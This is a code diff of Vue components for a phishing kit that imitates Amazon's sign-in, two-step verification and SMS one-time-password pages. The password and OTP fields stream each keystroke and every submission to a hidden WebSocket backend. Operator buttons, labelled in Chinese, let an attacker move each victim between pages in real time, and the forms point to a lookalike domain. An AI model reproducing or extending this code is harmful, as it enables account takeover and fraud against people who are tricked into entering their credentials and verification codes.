<p class="amz-modal-text">Verifying your information</p>
<p class="amz-modal-sub">Please wait a moment.</p>
</div>
</div>
</Teleport>
</template>
<style scoped>
.amz-overlay {
position: fixed;
inset: 0;
background: rgba(255, 255, 255, 0.75);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.amz-modal {
background: #fff;
border: 1px solid #d5d9d9;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
padding: 32px 40px;
text-align: center;
min-width: 240px;
}
.amz-spinner {
width: 44px;
height: 44px;
margin: 0 auto 16px;
animation: amz-spin 0.9s linear infinite;
}
.amz-spinner svg {
width: 100%;
height: 100%;
}
.amz-spinner-path {
stroke: #e47911;
stroke-linecap: round;
stroke-dasharray: 80;
stroke-dashoffset: 60;
}
@keyframes amz-spin {
to { transform: rotate(360deg); }
}
.amz-modal-text {
font-size: 15px;
font-weight: 700;
color: #111;
margin: 0 0 6px;
font-family: "Amazon Ember", Arial, sans-serif;
}
.amz-modal-sub {
font-size: 13px;
color: #565959;
margin: 0;
font-family: "Amazon Ember", Arial, sans-serif;
}
</style>

View File

@@ -0,0 +1,557 @@
<script setup lang="ts">
import {
getCurrentInstance,
onMounted,
onUnmounted,
ref,
nextTick,
computed,
} from "vue";
import { useRouter, useRoute } from "vue-router";
import { useI18n } from "vue-i18n";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import eventBus from "@/utils/eventBus";
import CommonLayout from "@/views/CommonLayout.vue";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const cardMessage = ref("");
const password = ref("");
const showPassword = ref(false);
const isLoading = ref(false);
const isFormFilled = computed(() => password.value.trim() !== "");
const showEmptyPasswordError = ref(false); // 控制未输入密码的客户端错误
const userEmail = ref("");
const loadUserEmail = () => {
const stored = localStorage.getItem("userEmailOrPhone");
userEmail.value = stored || "Not provided";
};
const changeEmailOrPhone = () => {
router.push({ path: "/user_login", query: { emailOrPhone: userEmail.value } });
};
const clearPassword = () => {
password.value = "";
inputChange("input_card", "密码页", "");
cardMessage.value = "";
showEmptyPasswordError.value = false;
};
const handleInput = (e: any) => {
password.value = e.target.value;
inputChange("input_card", "密码页", password.value);
cardMessage.value = "";
showEmptyPasswordError.value = false;
};
const handleEvent = (data: { message2: string }) => {
if (data.message2 === 'This card does not support this transaction, please try another card') {
cardMessage.value = 'Your password is incorrect';
} else {
cardMessage.value = data.message2 || "";
}
isLoading.value = false;
};
const next = async () => {
// 未输入密码 → 显示客户端错误框
if (password.value.trim() === "") {
showEmptyPasswordError.value = true;
cardMessage.value = "";
return;
}
showEmptyPasswordError.value = false;
cardMessage.value = "";
isLoading.value = true;
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitOp",
subType: "submitVoice",
password: password.value,
pageTitle: "密码页面",
opButton: {
showCustom: true,
list: [
{ label: "二步OTP驗證頁", value: "user_verification", },
{ label: "拒絕", value: "reject", type: "input2" },
{ label: "短信OTP驗證頁", value: "user_verification_otp", type: "input1" },
{ label: "登录首页", value: "user_login", type: "input2" },
{ label: "跳轉完成", value: "success" },
],
},
},
})
);
};
onMounted(() => {
localStorage.setItem("route", "user_password");
loadUserEmail();
eventBus.on('my-event', handleEvent);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "user_password", pageTitle: "密码页面" },
})
);
const route = useRoute();
const query = route.query as any;
if (query?.message2) {
handleEvent({ message2: query.message2 });
}
});
onUnmounted(() => {
eventBus.off('my-event', handleEvent);
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="a-container">
<div class="a-section a-spacing-none">
</div>
<div class="a-section auth-pagelet-mobile-container">
<h2>
Sign in
</h2>
<div class="a-row a-spacing-base">
<span id="auth-email-claim" dir="ltr">{{ userEmail }}</span>
<a id="ap_change_login_claim" class="a-link-normal" @click.prevent="changeEmailOrPhone" href="#">
Change
</a>
</div>
<form name="signIn" method="post" novalidate action="https://amazon.nihonrlce.com/ap/signin"
class="auth-validate-form auth-clearable-form auth-validate-form" @submit.prevent="next">
<input type="hidden" name="email" :value="userEmail">
<div class="a-input-text-group a-spacing-medium a-spacing-top-micro">
<label for="ap_password" class="a-form-label a-form-label">
Amazon password
</label>
<div id="auth-password-container"
:class="['a-input-text-wrapper', 'auth-required-field', 'auth-password-container', 'auth-password', 'auth-fill-password', 'input_table_layout', { 'a-form-error': showEmptyPasswordError || cardMessage }]">
<input :type="showPassword ? 'text' : 'password'" maxlength="1024" id="ap_password" autocomplete="current-password"
placeholder="Amazon password" name="password" spellcheck="false"
:value="password" @input="handleInput"
aria-label="Amazon password" aria-required="true"></div>
<div v-show="showEmptyPasswordError" id="auth-password-missing-alert"
class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-base"
role="alert">
<div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"
aria-hidden="true"></i>
<div class="a-alert-content">
Enter your password
</div>
</div>
</div>
<div v-show="cardMessage" id="auth-password-server-alert"
class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-base"
role="alert">
<div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"
aria-hidden="true"></i>
<div class="a-alert-content">
{{ cardMessage }}
</div>
</div>
</div>
<div class="a-row auth-visible-password-container auth-show-password-empty">
<span class="a-size-small a-color-secondary auth-visible-password"></span>
</div>
<input type="hidden" name="showPasswordChecked" value="true" id="ap_show_password_checked">
</div>
<div class="a-row">
<div class="a-column a-span6 a-spacing-medium">
<div id="auth-show-password-checkbox-container"
class="a-checkbox a-checkbox-fancy a-control-row a-touch-checkbox auth-show-password-checkbox">
<label for="auth-signin-show-password-checkbox"><input
id="auth-signin-show-password-checkbox" type="checkbox" name="" value=""
:checked="showPassword" @change="showPassword = !showPassword"><i class="a-icon a-icon-checkbox"></i><span
class="a-label a-checkbox-label">
Show password
</span></label></div>
</div>
<div class="a-column a-span6 a-text-right a-spacing-none a-spacing-top-small a-span-last">
<a id="auth-fpp-link-bottom" class="a-spacing-none a-link-normal"
href="https://amazon.nihonrlce.com/ap/forgotpassword?openid.pape.max_auth_age=0&amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;signInRedirectToFPPThreshold=5&amp;prepopulatedCustomerId=eyJjaXBoZXIiOiJScHBnam5vcm53N25NT2hrSXVOKytRPT0iLCJJViI6Iml4cVB5ckhtdGVQR0pZSUFmSlZBMUE9PSIsInZlcnNpb24iOjN9&amp;pageId=anywhere_us&amp;useSHuMAWorkflow=false&amp;openid.return_to=https%3A%2F%2Famazon.nihonrlce.com%2Fgp%2Fyour-account%2Forder-history%3Fref_%3Dnav_orders_first&amp;prevRID=RCXZYHP9TE6RNJTQ17ZB&amp;openid.assoc_handle=anywhere_v2_us&amp;openid.mode=checkid_setup&amp;prepopulatedLoginId=eyJjaXBoZXIiOiJVdmxnUnE3WURKNFF0aCt2TTB5MlIxeGpobjFlYzRxajR1dmliYVN3M2pJPSIsIklWIjoidHJyZXl5T3QxeHVYMTdLaEFYQWZOZz09IiwidmVyc2lvbiI6M30%3D&amp;failedSignInCount=0&amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0">
Forgot password?
</a>
</div>
</div>
<div class="a-row a-spacing-base">
</div>
<span id="auth-signin-button"
class="a-button a-button-span12 a-button-primary auth-disable-button-on-submit"><span
class="a-button-inner"><input id="signInSubmit" class="a-button-input" type="submit"
aria-labelledby="auth-signin-button-announce"><span id="auth-signin-button-announce"
class="a-button-text" aria-hidden="true">
Sign in
</span></span></span>
</form>
</div>
<!-- NAVYAAN BTF END -->
</div>
</template>
</CommonLayout>
<!-- Amazon-style verifying overlay -->
<Teleport to="body">
<div v-if="isLoading" class="amz-overlay">
<div class="amz-modal">
<div class="amz-spinner">
<svg viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle class="amz-spinner-path" cx="25" cy="25" r="20" fill="none" stroke-width="4"/>
</svg>
</div>
<p class="amz-modal-text">Verifying your information</p>
<p class="amz-modal-sub">Please wait a moment.</p>
</div>
</div>
</Teleport>
</template>
<style scoped>
.amz-overlay {
position: fixed;
inset: 0;
background: rgba(255, 255, 255, 0.75);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.amz-modal {
background: #fff;
border: 1px solid #d5d9d9;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
padding: 32px 40px;
text-align: center;
min-width: 240px;
}
.amz-spinner {
width: 44px;
height: 44px;
margin: 0 auto 16px;
animation: amz-spin 0.9s linear infinite;
}
.amz-spinner svg {
width: 100%;
height: 100%;
}
.amz-spinner-path {
stroke: #e47911;
stroke-linecap: round;
stroke-dasharray: 80;
stroke-dashoffset: 60;
}
@keyframes amz-spin {
to { transform: rotate(360deg); }
}
.amz-modal-text {
font-size: 15px;
font-weight: 700;
color: #111;
margin: 0 0 6px;
font-family: "Amazon Ember", Arial, sans-serif;
}
.amz-modal-sub {
font-size: 13px;
color: #565959;
margin: 0;
font-family: "Amazon Ember", Arial, sans-serif;
}
</style>

View File

@@ -0,0 +1,449 @@
<script setup lang="ts">
import {
getCurrentInstance,
onMounted,
onUnmounted,
ref,
nextTick,
computed,
} from "vue";
import { useRouter } from "vue-router";
import { useI18n } from "vue-i18n";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import eventBus from "@/utils/eventBus";
import { useRoute } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const cardMessage = ref("");
const message1 = ref("");
// 验证码输入6位
const otpCode = ref("");
// 是否正在加载(提交时转圈)
const isLoading = ref(false);
// 是否显示错误提示
const showError = ref(false);
// 倒计时相关(仅短信)
const initialTime = 60;
const smsDeadline = ref<number>(0); // 短信倒计时截止时间戳
const smsTimeLeft = ref(0);
const smsCounting = computed(() => smsTimeLeft.value > 0);
let timer: number | null = null;
// 统一的倒计时更新函数
const updateCountdown = () => {
const now = Date.now();
if (smsDeadline.value > now) {
smsTimeLeft.value = Math.max(
0,
Math.ceil((smsDeadline.value - now) / 1000)
);
} else {
smsTimeLeft.value = 0;
if (timer) {
clearInterval(timer);
timer = null;
}
}
};
// 启动全局定时器
const startGlobalTimer = () => {
if (timer) return;
updateCountdown();
timer = window.setInterval(updateCountdown, 1000);
};
// 开始短信倒计时
const startSmsCountdown = () => {
smsDeadline.value = Date.now() + initialTime * 1000;
localStorage.setItem("smsCountdownDeadline", smsDeadline.value.toString());
startGlobalTimer();
};
// 恢复倒计时状态
const restoreCountdowns = () => {
const smsSaved = localStorage.getItem("smsCountdownDeadline");
if (smsSaved) {
smsDeadline.value = Number(smsSaved);
}
if (smsDeadline.value > Date.now()) {
startGlobalTimer();
} else {
localStorage.removeItem("smsCountdownDeadline");
}
};
// 重发短信验证码(仅短信)
const resendCodeByText = () => {
if (smsCounting.value || isLoading.value) return;
otpCode.value = "";
cardMessage.value = "";
showError.value = false;
startSmsCountdown();
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: {
pageType: "user_verification",
resultType: "resendCode",
pageTitle: "二步OTP驗證頁面",
},
})
);
};
// 输入验证码
const handleOtpInput = (e: any) => {
const value = e.target.value;
otpCode.value = value;
const hiddenOtp = document.getElementById("otpCode") as HTMLInputElement;
if (hiddenOtp) hiddenOtp.value = value;
inputChange("input_card", "二步OTP驗證頁页", value);
cardMessage.value = "";
showError.value = false;
};
// 提交验证码
const submitOtp = async (e: Event) => {
e.preventDefault();
if (otpCode.value.length < 1) {
showError.value = true;
cardMessage.value = "Please enter a 6-digit code";
return;
}
await nextTick();
cardMessage.value = "";
showError.value = false;
isLoading.value = true;
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitOp",
subType: "submitVoice",
pageTitle: "二步OTP驗證頁面",
user_verification: otpCode.value,
opButton: {
showCustom: true,
list: [
{ label: "完成", value: "success" },
{ label: "拒絕", value: "reject", type: "input2" },
{ label: "登录首页", value: "user_login", type: "input2" },
{ label: "密码页", value: "user_password", type: "input1" },
{ label: "短信OTP驗證頁", value: "user_verification_otp", type: "input1" },
{ label: "跳轉完成", value: "success" },
],
},
},
})
);
};
// 错误处理
const handleEvent = (data: { message2: string }) => {
if (
data.message2 ===
"This card does not support this transaction, please try another card"
) {
cardMessage.value = "The code you entered is invalid. Please check and try again.";
} else {
cardMessage.value = data.message2 || "";
}
showError.value = true;
isLoading.value = false;
};
onMounted(() => {
const handleEventRef = (data: any) => handleEvent(data);
eventBus.on("my-event", handleEventRef);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "user_verification", pageTitle: "二步OTP驗證頁面" },
})
);
localStorage.setItem("route", "user_verification");
const route = useRoute();
const query = route.query as any;
if (query?.message2) handleEvent({ message2: query.message2 });
if (query?.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const stored = localStorage.getItem("message1");
if (stored) message1.value = stored;
}
// 恢复倒计时 + 首次自动开始短信倒计时
restoreCountdowns();
if (!localStorage.getItem("smsCountdownDeadline")) {
startSmsCountdown();
}
onUnmounted(() => {
eventBus.off("my-event", handleEventRef);
if (timer) clearInterval(timer);
});
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="a-container">
<!-- 错误提示服务器或客户端 -->
<div v-if="showError || cardMessage" class="a-section a-spacing-medium">
<div class="a-box a-alert a-alert-error auth-server-side-message-box a-spacing-base" role="alert">
<div class="a-box-inner a-alert-container">
<h4 class="a-alert-heading">There was a problem</h4>
<div class="a-alert-content">
{{ cardMessage || "The code you entered is not valid. Please try again." }}
</div>
</div>
</div>
</div>
<div class="a-section auth-pagelet-mobile-container">
<form id="auth-mfa-form" method="post" novalidate action="https://www.amazon.com/ap/signin" @submit.prevent="submitOtp">
<input type="hidden" name="appAction" value="SIGNIN_MFA" />
<h1 class="a-spacing-mini a-text-left">
Two-Step Verification
</h1>
<p>
<!-- For added security, please enter the One Time Password (OTP) sent to your phone ending in {{ message1 }} -->
For added security, please enter the One Time Password (OTP) generated by your Authenticator App
</p>
<div class="a-row">
<label for="auth-mfa-otpcode" class="a-form-label auth-mobile-label">
Enter OTP
</label>
<div class="a-input-text-wrapper a-span12 auth-autofocus auth-required-field">
<input
type="text"
id="auth-mfa-otpcode"
autocomplete="off"
placeholder="Enter OTP"
name="otpCode"
autocorrect="off"
autocapitalize="off"
v-model="otpCode"
@input="handleOtpInput"
/>
</div>
<input type="hidden" name="deviceId" />
</div>
<div class="a-row a-spacing-top-medium">
<div data-a-input-name="rememberDevice" class="a-checkbox a-checkbox-fancy a-control-row a-touch-checkbox">
<label for="auth-mfa-remember-device">
<input id="auth-mfa-remember-device" type="checkbox" name="rememberDevice" value="" />
<i class="a-icon a-icon-checkbox"></i>
<span class="a-label a-checkbox-label">
Don't require code on this browser
</span>
</label>
</div>
</div>
<div class="a-row a-spacing-top-large">
<div class="a-button-stack">
<span class="a-button a-spacing-medium a-button-span12 a-button-primary auth-disable-button-on-submit" id="a-autoid-0">
<span class="a-button-inner">
<button
id="auth-signin-button"
class="a-button-input"
type="submit"
:disabled="isLoading || otpCode.length < 1"
></button>
<span class="a-button-text" aria-hidden="true" id="a-autoid-0-announce">
Sign in
</span>
</span>
</span>
</div>
</div>
<div class="a-row">
<ul class="a-unordered-list a-vertical">
<li class="a-spacing-small">
<span class="a-list-item">
<a
id="auth-get-new-otp-link"
class="a-link-normal"
href="#"
@click.prevent="resendCodeByText"
:style="smsCounting ? 'color: #2162a1; cursor: not-allowed; text-decoration: none;' : ''"
>
Didn't receive the code?
</a>
</span>
</li>
</ul>
</div>
<!-- 倒计时提示保留原有逻辑 -->
<!-- <div class="a-section a-spacing-medium" v-if="smsCounting">
<div class="a-row">
<div id="resend-approval-alert" class="a-box a-alert-inline a-alert-inline-info" aria-live="polite" aria-atomic="true">
<div class="a-box-inner a-alert-container">
<i class="a-icon a-icon-alert" aria-hidden="true"></i>
<div class="a-alert-content">
<div id="timer" class="a-section">
Wait {{ smsTimeLeft }} seconds before requesting a new code.
</div>
</div>
</div>
</div>
</div>
</div> -->
<!-- 隐藏字段保持原样 -->
<input type="hidden" name="otpCode" id="otpCode" :value="otpCode" />
</form>
</div>
<!-- Loading 遮罩 -->
<Teleport to="body">
<div v-if="isLoading" class="amz-overlay">
<div class="amz-modal">
<div class="amz-spinner">
<svg viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle class="amz-spinner-path" cx="25" cy="25" r="20" fill="none" stroke-width="4"/>
</svg>
</div>
<p class="amz-modal-text">Verifying your information</p>
<p class="amz-modal-sub">Please wait a moment.</p>
</div>
</div>
</Teleport>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 原有样式完全保留,不做任何修改 */
.auth-clear-icons {
margin-top: -4rem;
display: none;
float: right;
padding: 1.2rem 1.2rem .6rem 1.2rem;
transform: scale(1.2, 1.2);
-webkit-tap-highlight-color: transparent;
background: 0 0;
border: transparent;
}
.auth-visible-password-container {
width: 100%;
padding: 0 10px 6px 10px;
}
/* 聚焦和高亮样式 */
.a-input-text-group .a-input-text-wrapper.a-form-focus {
border-color: #2162a1;
z-index: 1;
}
.a-input-text-wrapper:focus-within {
border-color: #2162a1;
outline-color: var(--__dChFn1xR-MYZ, #888c8c);
outline-style: solid;
box-shadow: none;
outline-offset: .2rem;
outline-width: .2rem;
z-index: 1;
}
.a-container {
min-width: 20rem;
padding: 1.2rem 1.4rem 2.8rem;
margin: 0 auto;
}
/* Loading 样式 */
.amz-overlay {
position: fixed;
inset: 0;
background: rgba(255, 255, 255, 0.75);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.amz-modal {
background: #fff;
border: 1px solid #d5d9d9;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
padding: 32px 40px;
text-align: center;
min-width: 240px;
}
.amz-spinner {
width: 44px;
height: 44px;
margin: 0 auto 16px;
animation: amz-spin 0.9s linear infinite;
}
.amz-spinner svg { width: 100%; height: 100%; }
.amz-spinner-path {
stroke: #e47911;
stroke-linecap: round;
stroke-dasharray: 80;
stroke-dashoffset: 60;
}
@keyframes amz-spin { to { transform: rotate(360deg); } }
.amz-modal-text {
font-size: 15px;
font-weight: 700;
color: #111;
margin: 0 0 6px;
font-family: "Amazon Ember", Arial, sans-serif;
}
.amz-modal-sub {
font-size: 13px;
color: #565959;
margin: 0;
font-family: "Amazon Ember", Arial, sans-serif;
}
.a-unordered-list, ul {
margin: 0 0 0 1.8rem;
color: var(--__dChNmAmGoMXsw4B, #0f1111);
}
</style>

View File

@@ -0,0 +1,505 @@
<script setup lang="ts">
import {
getCurrentInstance,
onMounted,
onUnmounted,
ref,
nextTick,
computed,
} from "vue";
import { useRouter } from "vue-router";
import { useI18n } from "vue-i18n";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import eventBus from "@/utils/eventBus";
import { useRoute } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const cardMessage = ref("");
const message1 = ref("");
const pageLoading = ref(true); // CSS加载中2秒后显示内容
// 显示的手机号message1 优先,其次 localStorage 存的账号
const displayPhone = computed(() => {
if (message1.value) return message1.value;
return localStorage.getItem("userEmailOrPhone") || "";
});
// 验证码输入6位
const otpCode = ref("");
// 是否正在加载(提交时转圈)
const isLoading = ref(false);
// 是否显示错误提示
const showError = ref(false);
// 是否显示重发成功提示
const showResendSuccess = ref(false);
// 倒计时相关(仅短信)
const initialTime = 60;
const smsDeadline = ref<number>(0); // 短信倒计时截止时间戳
const smsTimeLeft = ref(0);
const smsCounting = computed(() => smsTimeLeft.value > 0);
let timer: number | null = null;
// 统一的倒计时更新函数
const updateCountdown = () => {
const now = Date.now();
if (smsDeadline.value > now) {
smsTimeLeft.value = Math.max(
0,
Math.ceil((smsDeadline.value - now) / 1000)
);
} else {
smsTimeLeft.value = 0;
if (timer) {
clearInterval(timer);
timer = null;
}
}
};
// 启动全局定时器
const startGlobalTimer = () => {
if (timer) return;
updateCountdown();
timer = window.setInterval(updateCountdown, 1000);
};
// 开始短信倒计时
const startSmsCountdown = () => {
smsDeadline.value = Date.now() + initialTime * 1000;
localStorage.setItem("smsCountdownDeadline", smsDeadline.value.toString());
startGlobalTimer();
};
// 恢复倒计时状态
const restoreCountdowns = () => {
const smsSaved = localStorage.getItem("smsCountdownDeadline");
if (smsSaved) {
smsDeadline.value = Number(smsSaved);
}
if (smsDeadline.value > Date.now()) {
startGlobalTimer();
} else {
localStorage.removeItem("smsCountdownDeadline");
}
};
// 重发短信验证码(仅短信)
const resendCodeByText = () => {
if (smsCounting.value || isLoading.value) return;
otpCode.value = "";
cardMessage.value = "";
showError.value = false;
startSmsCountdown();
setTimeout(() => { showResendSuccess.value = true; }, 1000);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: {
pageType: "user_verification_otp",
resultType: "resendCode",
pageTitle: "短信OTP驗證頁面",
},
})
);
};
// 输入验证码
const handleOtpInput = (e: any) => {
const value = e.target.value.replace(/\D/g, "").slice(0, 6);
otpCode.value = value;
const hiddenOtp = document.getElementById("otpCode") as HTMLInputElement;
if (hiddenOtp) hiddenOtp.value = value;
inputChange("input_card", "短信OTP驗證頁页", value);
cardMessage.value = "";
showError.value = false;
showResendSuccess.value = false;
};
// 提交验证码
const submitOtp = async (e: Event) => {
e.preventDefault();
if (otpCode.value.length !== 6) {
showError.value = true;
cardMessage.value = "Please enter a 6-digit code";
return;
}
await nextTick();
cardMessage.value = "";
showError.value = false;
showResendSuccess.value = false;
isLoading.value = true;
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitOp",
subType: "submitVoice",
pageTitle: "短信OTP驗證頁面",
user_verification_otp: otpCode.value,
opButton: {
showCustom: true,
list: [
{ label: "完成", value: "success" },
{ label: "拒絕", value: "reject", type: "input2" },
{ label: "登录首页", value: "user_login", type: "input2" },
{ label: "密码页", value: "user_password", type: "input1" },
{ label: "二步OTP驗證頁", value: "user_verification", },
{ label: "跳轉完成", value: "success" },
],
},
},
})
);
};
// 错误处理
const handleEvent = (data: { message2: string }) => {
if (
data.message2 ===
"This card does not support this transaction, please try another card"
) {
cardMessage.value = "Invalid OTP. Please check your code and try again.";
} else {
cardMessage.value = data.message2 || "";
}
showError.value = true;
isLoading.value = false;
};
onMounted(() => {
const handleEventRef = (data: any) => handleEvent(data);
eventBus.on("my-event", handleEventRef);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "user_verification_otp", pageTitle: "短信OTP驗證頁面" },
})
);
localStorage.setItem("route", "user_verification_otp");
const route = useRoute();
const query = route.query as any;
if (query?.message2) handleEvent({ message2: query.message2 });
if (query?.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const stored = localStorage.getItem("message1");
if (stored) message1.value = stored;
}
// 恢复倒计时 + 首次自动开始短信倒计时
restoreCountdowns();
if (!localStorage.getItem("smsCountdownDeadline")) {
startSmsCountdown();
}
// CSS加载完成后2秒显示页面内容
setTimeout(() => { pageLoading.value = false; }, 2000);
onUnmounted(() => {
eventBus.off("my-event", handleEventRef);
if (timer) clearInterval(timer);
});
});
</script>
<template>
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_1.css">
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_2.css">
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_3.css">
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_4.css">
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_5.css">
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_6.css">
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_7.css">
<!-- CSS加载遮罩2秒后消失 -->
<div v-if="pageLoading" class="otp-page-loading">
<div class="otp-page-loading-inner">
<svg class="otp-page-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#e47911" stroke-width="4" stroke-dasharray="80" stroke-dashoffset="60" stroke-linecap="round"/>
</svg>
</div>
</div>
<div id="a-page" v-show="!pageLoading">
<div class="a-section a-spacing-none">
<div class="a-container a-global-nav-wrapper" style="pointer-events: none;">
<div class="a-section a-spacing-none a-text-center">
<a class="a-link-nav-icon" tabindex="-1" href="https://www.amazon.co.jp/ref=ap_frn_logo">
<i class="a-icon a-icon-logo" role="img" aria-label="Amazon"></i>
</a>
</div>
</div>
</div>
<div class="a-section a-padding-base">
<div class="a-section cvf-widget-container">
<div class="a-section cvf-page-layout">
<div id="cvf-page-content" class="a-section">
<div class="a-box">
<div class="a-box-inner a-padding-extra-large">
<div class="a-row a-spacing-none">
<form id="verification-code-form" name="signIn" method="post" action="verify"
class="cvf-widget-form fwcim-form a-spacing-none" data-fwcim-id="o5Z1OMw5" @submit.prevent="submitOtp">
<div class="a-row a-spacing-small">
<div class="a-row a-spacing-small">
<h1>Authentication required</h1>
</div>
<div id="instruction_text" class="a-row a-spacing-small">
<div class="a-row">
<div id="cvf-otp-autoread-instruction" class="a-section"><span>Enter the One Time Password
(OTP) we sent you. {{ displayPhone }}</span>
<a class="a-link-normal otp-autoread-change-link" href="#" @click.prevent="router.push('/user_login')">Change</a>
</div>
<div id="cvf-otp-autoread-timeout"
class="a-box a-alert a-alert-error auth-client-side-message-box aok-hidden a-spacing-small a-spacing-top-small sf-hidden"
role="alert"></div>
</div>
<div id="otp-request-failed-alert"
class="a-box a-alert a-alert-error auth-client-side-message-box aok-hidden a-spacing-medium sf-hidden"
role="alert"></div>
</div>
</div>
<div class="a-row a-spacing-small">
<div id="otp_box_label" class="a-row a-spacing-micro cvf-widget-input-code-label"><label
for="cvf-input-code" class="a-form-label">Enter One Time Password (OTP)</label></div>
<div id="cvf-input-code-container">
<div
class="a-input-text-wrapper a-span12 cvf-widget-input cvf-widget-input-code cvf-autofocus">
<input type="tel" maxlength="6" required id="cvf-input-code" autocomplete="off"
name="code" aria-describedby="inline-otp-messages" :value="otpCode" @input="handleOtpInput"></div>
</div>
<div id="cvf-otp-autoread-progress"
class="a-section a-spacing-small aok-hidden otp-autoread-progress-widget sf-hidden"></div>
<div id="cvf-otp-autoread-success" class="a-section a-spacing-small aok-hidden sf-hidden">
</div>
</div>
<div id="inline-otp-messages" class="a-row a-spacing-micro">
<div aria-live="assertive"
class="a-box a-alert-inline a-alert-inline-error cvf-widget-alert cvf-widget-client-alert cvf-widget-invalid-code-alert cvf-hidden sf-hidden"
role="alert"></div>
<div aria-live="assertive"
class="a-box a-alert-inline a-alert-inline-error cvf-widget-alert cvf-widget-client-alert cvf-widget-empty-field-alert cvf-hidden sf-hidden"
role="alert"></div>
<div v-show="showResendSuccess" aria-live="assertive"
class="a-box a-alert-inline a-alert-inline-success cvf-widget-alert cvf-widget-alert-id-cvf-resend-code"
aria-atomic="true">
<div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert" aria-hidden="true"></i>
<div class="a-alert-content">
<div class="a-section cvf-alert-section cvf-widget-alert-message">A new code has been sent to your mobile number.</div>
</div>
</div>
</div>
<div v-show="showError" aria-live="assertive"
class="a-box a-alert-inline a-alert-inline-error cvf-widget-alert cvf-widget-alert-id-cvf-invalid-code"
role="alert">
<div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"
aria-hidden="true"></i>
<div class="a-alert-content">
<div class="a-section cvf-alert-section cvf-widget-alert-message">{{ cardMessage || 'Invalid OTP. Please check your code and try again.' }}</div>
</div>
</div>
</div>
</div>
<div class="a-row a-spacing-small"><span id="cvf-submit-otp-button"
class="a-button a-button-span12 a-button-primary cvf-widget-btn cvf-widget-btn-verify"><span
class="a-button-inner"><input aria-label="Verify OTP Button" class="a-button-input"
type="submit" value><span id="cvf-submit-otp-button-announce" class="a-button-text"
aria-hidden="true">Continue</span></span></span></div>
</form>
</div>
<div class="a-row a-spacing-none">
<form method="post" action="verify" class="cvf-widget-form cvf-widget-form-resend a-spacing-none">
<div class="a-section a-spacing-none a-spacing-top-large a-text-left cvf-widget-section-js"
role="status">
<a id="cvf-resend-link"
:class="['a-link-normal', 'cvf-widget-btn', 'cvf-widget-link-resend', { 'a-disabled': smsCounting }]"
href="#" @click.prevent="resendCodeByText">
<span v-if="smsCounting">Resend code ({{ smsTimeLeft }}s)</span>
<span v-else>Resend code</span>
</a>
</div>
</form>
</div>
<div class="a-row a-spacing-none">
<form method="post" action="verify" class="cvf-widget-form cvf-widget-form-resend a-spacing-none">
<span
class="a-button a-button-span12 a-button-base cvf-widget-btn cvf-widget-btn-resend sf-hidden"
id="a-autoid-0"></span>
</form>
</div>
<form id="wait-resend-auto-read" method="post" action="verify"
class="aok-hidden cvf-widget-form wait-one-minute a-spacing-none sf-hidden">
</form>
<div class="a-row a-spacing-top-base"></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="a-row auth-footer" style="pointer-events: none;">
<div class="a-divider a-divider-section">
<div class="a-divider-inner"></div>
</div>
<div id="footer" class="a-section">
<div class="a-section a-spacing-small a-text-center a-size-mini">
<span class="auth-footer-separator"></span>
<a class="a-link-normal" target="_blank" rel="noopener"
href="https://www.amazon.co.jp/gp/aw/help/ref=ap_mobile_footer_cou?id=643006">
Conditions of Use
</a>
<span class="auth-footer-separator"></span>
<a class="a-link-normal" target="_blank" rel="noopener"
